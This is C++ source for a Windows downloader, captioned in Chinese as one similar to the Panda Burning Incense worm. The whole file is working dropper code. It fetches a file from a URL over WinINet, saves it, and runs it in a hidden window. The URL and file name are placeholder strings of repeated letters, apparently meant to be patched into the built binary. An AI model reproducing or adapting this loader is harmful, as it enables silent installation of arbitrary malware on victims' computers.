downloader.cpp

一款类似于熊猫烧香的下载者

// DownLoader.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#include <mmsystem.h>

#pragma comment(lib,"winmm.lib")
#pragma comment(lib,"Wininet.lib")

int InternetGetFile(char szUrl[],char szFileName[]);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	InternetGetFile("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
	return 0;
}

int InternetGetFile(char szUrl[100],char szFileName[100])
{
	DWORD dwFlags;
	if(!InternetGetConnectedState(&dwFlags,0))
	{
		return -1;
	}
	char strAgent[64];
	sprintf(strAgent,"Agent%ld",timeGetTime());
	HINTERNET hOpen;
	
	if(!(dwFlags & INTERNET_CONNECTION_PROXY))
	{
		hOpen = InternetOpen(strAgent,INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY,NULL,NULL,0);
	}
	else
	{
		hOpen = InternetOpenA(strAgent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
	}
	
	if(!hOpen)
	{
		return -1;
	}

	DWORD dwSize;
	char szHead[] = "Accept: */*\r\n\r\n";
	void* szTemp[16384];
	HINTERNET hConnect;
	FILE *fp;
	
	if(!(hConnect = InternetOpenUrlA(hOpen,szUrl,szHead,strlen(szHead),INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_RELOAD,0)))
	{
		return -1;
	}
	fp = fopen(szFileName,"wb+");
	if(fp == NULL)
	{
		return -1;
	}

	DWORD dwByteToRead = 0;
	DWORD dwSizeOfRq = 4;
	DWORD dwBytes = 0;
	
	if(!HttpQueryInfo(hConnect,HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,(LPVOID)&dwByteToRead,&dwSizeOfRq,NULL))
	{
		dwByteToRead = 0;
	}

	do
	{
		if(!InternetReadFile(hConnect,szTemp,16384,&dwSize))
		{
			InternetCloseHandle(hOpen);
			fclose(fp);
			return -1;
		}
		if(dwSize == 0)
			break;
		else
			fwrite(szTemp,dwSize,1,fp);
		
	}while(true);

	fclose(fp);
	InternetCloseHandle(hOpen);

//	ShellExecute(NULL,"open",szFileName,NULL,NULL,SW_HIDE);
	STARTUPINFO info;
	memset(&info,0,sizeof(info));
	info.cb = sizeof(info);
	info.wShowWindow = SW_HIDE;
	PROCESS_INFORMATION pinfo;
	CreateProcess(NULL,szFileName,NULL,NULL,false,NORMAL_PRIORITY_CLASS,NULL,NULL,&info,&pinfo);

	return 0;
}